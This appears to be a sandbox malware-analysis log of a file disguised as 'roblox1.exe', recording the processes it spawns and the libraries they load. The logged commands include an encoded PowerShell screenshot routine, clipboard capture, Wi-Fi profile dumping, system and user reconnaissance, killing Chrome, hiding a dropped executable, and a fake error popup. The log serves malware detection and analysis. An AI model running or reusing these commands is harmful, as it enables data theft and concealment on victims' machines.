Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\roblox1.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe C:\Users\user\Desktop\roblox1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
